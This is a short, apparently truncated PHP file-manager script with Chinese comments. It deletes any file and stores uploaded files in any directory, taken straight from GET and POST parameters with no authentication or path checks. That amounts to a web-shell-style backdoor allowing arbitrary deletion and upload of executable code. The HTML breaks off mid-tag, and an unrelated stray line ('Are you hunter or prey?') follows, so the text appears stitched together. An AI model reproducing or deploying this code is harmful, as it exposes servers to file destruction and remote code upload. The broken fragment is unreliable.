<?php
//取得目前路徑
$fileDir = getcwd();
//執行刪除動作
if(isset($_GET["action"])&&$_GET["action"]=="delete"){
unlink($_GET["file"]);
$fileDir =pathinfo($_GET["file"],PATHINFO_DIRNAME);
//重新轉頁到目前目錄中
header("Location: ?dir=".$fileDir);
}
//執行上傳動作
if(isset($_GET["action"])&&$_GET["action"]=="upload"){
if($_FILES["upload"]["error"]==0){
move_uploaded_file($_FILES["upload"]["tmp_name"], $_POST["dir"]."//".$_FILES["upload"]["name"]);
}
//重新轉頁到目前目錄中
header("Location: ?dir=".$_POST["dir"]);
}
?>
<head>
<meta http-equiv="Content-Type"...
"你是獵人還是獵物?"